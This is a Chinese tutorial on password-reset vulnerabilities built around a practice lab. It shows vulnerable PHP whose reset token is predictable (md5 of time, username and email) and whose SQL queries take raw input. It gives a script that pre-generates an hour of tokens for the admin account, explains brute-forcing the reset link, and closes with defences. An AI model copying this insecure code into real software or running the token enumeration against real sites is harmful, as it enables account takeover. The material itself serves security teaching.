web常见漏洞——密码找回漏洞攻击和防御

前言

为了防止用户遗忘密码,大多数网站都提供了找回密码功能。常见的找回密码方式有:邮箱找回密码、根据密码保护问题找回密码、根据手机号码找回密码等。虽然这些方式都可以找回密码,但实现方式各不相同。无论是哪种密码找回方式,在找回密码时,除了自己的用户密码,如果还能找回其他用户的密码,就存在密码找回漏洞。

密码找回漏洞靶场

以月师傅ubuntu靶场为例:

密码找回漏洞

密码找回漏洞源码分析

<?php
include 'init.php';
//token创建规则
function create_pass($username,$email){
	$token=md5(time().$username.$email);
	return $token;
}
echo ' <meta charset="UTF-8">';

//输入邮箱并忘记密码
if($_GET['c']=='forget'){
	$username= trim($_POST['username']);
	$re=mysql_query("select * from member where username='{$username}'");
	$row = mysql_fetch_array($re);
	$_email = $row['email'];
	if($row){
		echo "<form method='post' action='?c=email'>";
		echo "用户{$row['username']}存在  请输入用户的邮箱";
		echo "<input type='text' name='email'/>";
		echo "<input type='hidden' name='username' value='{$row['username']}'/>";
		echo "<input type='submit' value='发送key'/></form>";
	}		
}

//查询用户邮箱并创建token
if($_GET['c']=='email'){
	$username= trim($_POST['username']);
	$re=mysql_query("select * from member where username='{$username}'");
	$row = mysql_fetch_array($re);
	$email= trim($_POST['email']);
	if($email == $row['email']){
		$token=create_pass($row['username'],$row['email']);
		mysql_query("update member set token='{$token}' where id='{$row['id']}'");
		echo "密码已发送又邮件,请登录邮箱修改密码";	
	}else{
		echo "邮箱错误 请填写对应的邮箱";
	}
}

//根据创建的token修改用户密码
if($_GET['c']=='send'){
	$token = trim($_GET['token']);
	$re = mysql_query("select * from member where token='{$token}'");
	$row = mysql_fetch_array($re);
	if($row){
		echo "<form method='post' action='?c=pass'>";
		echo "输入你要修改的密码 ";
		echo "<input type='text' name='password'/>";
		echo "<input type='hidden' name='token' value='{$token}'/>";
		echo "<input type='submit' value='修改密码'>";	
	}	
}

//成功修改密码
if($_GET['c']=='pass'){
	$token = $_POST['token'];
	$password =md5(trim($_POST['password']));
	$re = mysql_query("update member set password ='{$password}' where token = '{$token}'");
	if($re){
		echo "修改成功";
	}else{
		echo "修改失败";	
	}	
}

//用户登录界面
if($_GET['c']=='login'){
	echo '<form method="post" action="?c=main">';
	echo '用户 <input type="text" name="username"><br>';
	echo '密码 <input type="password" name="password"><br>';
	echo '<input type="submit" value="登录">';
	echo '</form>';	
}

//用户是否正确登录
if($_GET['c']=='main'){
	$username = $_POST['username'];
	$password = md5($_POST['password']);
	$re = mysql_query("select * from member where username='{$username}' and password='{$password}'");
	$row = mysql_fetch_array($re);
	if($row){
		echo "{$row['username']} 登录成功";
	}else{
		echo "帐号或密码失败";
	}	
}

//用户账号查询并找回
if(empty($_GET['c'])){
	echo '<form method="post" action="?c=forget">';
	echo '<label>请输入你要查询的用户</label>';
	echo '<input type="text" name="username">';
	echo '<input type="submit" value="找回密码">';
	echo '</form>';
}
?>
  • 从源码中发现生成token的这个函数是可预测——时间加上账号和密码进行 md5加密:
    function create_pass($username,$email){
      $token=md5(time().$username.$email);
      return $token;
    }
    

    密码找回漏洞攻击

  • 用户账号查询并找回:

    用户查询

  • 输入邮箱并忘记密码:

    邮箱输入

    • 这里服务端查找admin用户邮箱:

      已存在邮箱

    • 查询用户邮箱并创建token:

      创建token

      更新token

    • 根据生成的token去更新密码

  • 之前源码分析说过,生成token的这个函数可以预测,当用户名和邮箱都正确,即可得到token —— md5(当前时间戳+用户名+邮箱):

    • 当前时间戳:time()函数:

        <?php
        echo time()
        ?>
      

      时间戳

    • time是每一秒都会改变 https://tool.lu/timestamp/

      时间戳转换

  • 思路:

    在提交 key 的之前,生成一分钟或者一个小时以内的 token, 用脚本 生成的token去访问每一个链接:http://靶场ip/forget.php?c=send&token=任意token ; 假如脚本生成的存在对应的 token 就可以修改密码。

    • 提交key前,生成一小时的 token脚本:

        <?php
        function create_pass($username,$email){
            $token=md5(time().$username.$email);
            return $token;
        }
        for($i=1;$i<=3600;$i++){
            $timex= create_pass('admin','moon@moonsec.com');
            write_file($timex."\n");
            echo $i."\r\n";
            sleep(1);
        }
        function write_file($c){
            fwrite(fopen("time.txt", "a+"),$c);
        }
        ?>
      

      脚本token生成

      • 提交key后可关闭脚本token的生成并查看:

        提交key

        关闭脚本并查看btoken

    • 访问修改密码链接并抓包:

      抓包

      • 用脚本token遍历访问获取准确token:

        遍历攻击

      • token 的验证:

        token验证

题外话

这个密码找回漏洞还有其他漏洞,如果获取到的token一直不变,可以一直修改密码,可以自行尝试!

防御

  1. 验证码爆破的,从验证码有效期和请求次数进行限制;

  2. token 验证之类的,不要直接返回给用户;

  3. 修改加密算法和加密内容,一定要是强加密,也要做到增加猜解难度或密文不可猜解;

  4. 用户身份验证一定要在后端实现;

  5. 在最后一步修改密码的动作时,一定要校验帐号是否通过了验证、短信与手机号是否对应、发送短信与已校验帐号不要使用同一个 session 名称;

  6. 非常重要的一点:上线前一定要经过安全测试!!

  7. 在一段时间内的次数进行限定,超过无效。

Reference

网络安全渗透测试—[常规漏洞挖掘与利用篇16]—[密码找回漏洞与测试]